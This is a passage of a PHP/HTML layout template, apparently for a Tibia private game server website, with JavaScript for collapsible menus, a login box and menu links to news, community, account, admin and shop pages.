}

}

// store the values of the variable 'self.name' in the array menu

function FillMenuArray()

{

while(self.name.length > 0 )

{

var mark1 = self.name.indexOf("=");

var mark2 = self.name.indexOf("&");

var menuItemName = self.name.substr(0, mark1);

menu[0][menuItemName] = self.name.substring(mark1 + 1, mark2);

self.name = self.name.substr(mark2 + 1, self.name.length);

}

}

// hide or show the corresponding submenus

function InitializeMenu()

{

for(menuItemName in menu[0])

{

if(menu[0][menuItemName] == "0")

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "hidden";

document.getElementById(menuItemName+"_Submenu").style.display = "none";

document.getElementById(menuItemName+"_Lights").style.visibility = "visible";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

else

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "visible";

document.getElementById(menuItemName+"_Submenu").style.display = "block";

document.getElementById(menuItemName+"_Lights").style.visibility = "hidden";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

}

}

// reconstruct the variable "self.name" out of the array menu

function SaveMenuArray()

{

var stringSlices = "";

var temp = "";

for(menuItemName in menu[0])

{

stringSlices = menuItemName + "=" + menu[0][menuItemName] + "&";

temp = temp + stringSlices;

}

self.name = temp;

}

// onClick open or close submenus

function MenuItemAction(sourceId)

{

if(menu[0][sourceId] == 1)

{

CloseMenuItem(sourceId);

}

else

{

OpenMenuItem(sourceId);

}

}

function OpenMenuItem(sourceId)

{

menu[0][sourceId] = 1;

document.getElementById(sourceId+"_Submenu").style.visibility = "visible";

document.getElementById(sourceId+"_Submenu").style.display = "block";

document.getElementById(sourceId+"_Lights").style.visibility = "hidden";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

function CloseMenuItem(sourceId)

{

menu[0][sourceId] = 0;

document.getElementById(sourceId+"_Submenu").style.visibility = "hidden";

document.getElementById(sourceId+"_Submenu").style.display = "none";

document.getElementById(sourceId+"_Lights").style.visibility = "visible";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

// mouse-over effects of menubuttons and submenuitems

function MouseOverMenuItem(source)

{

source.firstChild.style.visibility = "visible";

}

function MouseOutMenuItem(source)

{

source.firstChild.style.visibility = "hidden";

}

function MouseOverSubmenuItem(source)

{

source.style.backgroundColor = "#14433F";

}

function MouseOutSubmenuItem(source)

{

source.style.backgroundColor = "#0D2E2B";

}

</script>

</head>

<body onBeforeUnLoad="SaveMenu();" onUnload="SaveMenu();">

<a name="top" ></a>

<div id="ArtworkHelper" style="background-image:url(http://i63.photobuck...d-artwork-1.jpg);" >

<div id="Bodycontainer">

<div id="ContentRow">

<div id="MenuColumn">

<div id="LeftArtwork">

<img id="Statue_1" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="TibiaLogoArtworkTop" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-top.gif" onClick="window.location = '?subtopic=latestnews';" alt="logoartwork" />

<img id="TibiaLogoArtworkBottom" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-bottom.gif" alt="logoartwork" />

<img id="Statue_2" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="LogoLink" src="<?PHP echo $layout_name; ?>/images/header/tibia-logo-artwork-string.gif" onClick="window.location = 'mailto:<?PHP echo $config['server']['ownerEmail']; ?>';" alt="logoartwork" />

</div>

<div id="Loginbox" >

<div id="LoginTop" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif)" ></div>

<div id="BorderLeft" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif)" ></div>

</div>

<div id="LoginButtonContainer" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginButton" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif)" >

<div onClick="LoginButtonAction();" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);"><div class="Button" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif)" ></div>

<div id="ButtonText" ></div>

</div>

</div>

</div>

<div style="clear:both" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_2" onClick="LoginstatusTextAction(this);" onMouseOver="MouseOverLoginBoxText(this);" onMouseOut="MouseOutLoginBoxText(this);" >

<div id="LoginstatusText_2_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif)" ></div>

<div id="LoginstatusText_2_2" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif)" ></div>

</div>

</div>

<div id="BorderRight" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div id="LoginBottom" class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif)" ></div>

</div>

<div id='Menu'>

<div id='MenuTop' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif);'></div>

<div id='news' class='menuitem'>

<span onClick="MenuItemAction('news')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='news_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='news_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-news.gif);'></div>

<div id='news_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-news.gif);'></div>

<div id='news_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='news_Submenu' class='Submenu'>

<a href='?subtopic=latestnews'>

<div id='submenu_latestnews' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_latestnews' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Latest News</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=archive'>

<div id='submenu_archive' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_archive' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>News Archive</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='library' class='menuitem'>

<span onClick="MenuItemAction('library')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='library_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='library_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-library.gif);'></div>

<div id='library_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-library.gif);'></div>

<div id='library_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='library_Submenu' class='Submenu'>

<a href='?subtopic=creatures'>

<div id='submenu_creatures' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_creatures' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Creatures</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=spells'>

<div id='submenu_spells' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_spells' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Spells</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['serverinfo_page'] == 1)

echo "

<a href='?subtopic=serverinfo'>

<div id='submenu_serverinfo' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_serverinfo' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Info</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

<a href='?subtopic=experiencetable'>

<div id='submenu_experiencetable' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_experiencetable' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Experience Table</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='community' class='menuitem'>

<span onClick="MenuItemAction('community')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='community_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='community_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-community.gif);'></div>

<div id='community_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-community.gif);'></div>

<div id='community_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='community_Submenu' class='Submenu'>

<a href='?subtopic=characters'>

<div id='submenu_characters' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_characters' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Characters</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=whoisonline'>

<div id='submenu_whoisonline' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_whoisonline' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Who Is Online?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=highscores'>

<div id='submenu_highscores' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_highscores' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Highscores</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=killstatistics'>

<div id='submenu_killstatistics' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_killstatistics' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Last Kills</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=bans'>

<div id='submenu_bans' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_bans' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Banishments</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=houses'>

<div id='submenu_houses' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_houses' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Houses</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=guilds'>

<div id='submenu_guilds' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_guilds' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Guilds</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=wars'>

<div id='submenu_wars' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_wars' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Wars</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<?PHP

echo "

<div id='forum' class='menuitem'>

<span onClick=\"MenuItemAction('forum')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='forum_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='forum_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-forum.gif);'></div>

<div id='forum_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-forum.gif);'></div>

<div id='forum_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='forum_Submenu' class='Submenu'>

<a href='?subtopic=forum'>

<div id='submenu_forum' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_forum' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Forum</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>";

?>

<div id='account' class='menuitem'>

<span onClick="MenuItemAction('account')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='account_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='account_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-account.gif);'></div>

<div id='account_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-account.gif);'></div>

<div id='account_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='account_Submenu' class='Submenu'>

<a href='?subtopic=accountmanagement'>

<div id='submenu_accountmanagement' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_accountmanagement' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Account Management</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=createaccount'>

<div id='submenu_createaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_createaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Create Account</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=lostaccount'>

<div id='submenu_lostaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_lostaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Lost Account?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['download_page'] == 1)

echo "

<a href='?subtopic=downloads'>

<div id='submenu_downloads' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_downloads' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Downloads</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<div id='support' class='menuitem'>

<span onClick="MenuItemAction('support')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='support_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='support_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-support.gif);'></div>

<div id='support_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-support.gif);'></div>

<div id='support_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='support_Submenu' class='Submenu'>

<a href='?subtopic=tibiarules'>

<div id='submenu_tibiarules' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tibiarules' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Rules</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=tracker'>

<div id='submenu_tracker' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tracker' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Tracker</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=changelog'>

<div id='submenu_changelog' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_changelog' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Change Log</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=team'>

<div id='submenu_team' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_team' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Support List</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?php

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo "<a href='?subtopic=adminpanel'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Admin Panel !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($group_id_of_acc_logged >= 4)

echo "<a href='?subtopic=namelock'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Name Lock !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<?PHP

if($config['site']['shop_system'] == 1)

{

echo "<div id='shops' class='menuitem'>

<span onClick=\"MenuItemAction('shops')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='shops_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='shops_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-shops.gif);'></div>

<div id='shops_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-shops.gif);'></div>

<div id='shops_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='shops_Submenu' class='Submenu'>

<a href='?subtopic=buypoints'>

<div id='submenu_buypoints' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_buypoints' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Buy Points</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=shopsystem'>

<div id='submenu_shopsystem' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_shopsystem' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Shop Offer</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($logged)

echo "<a href='?subtopic=shopsystem&action=show_history'>

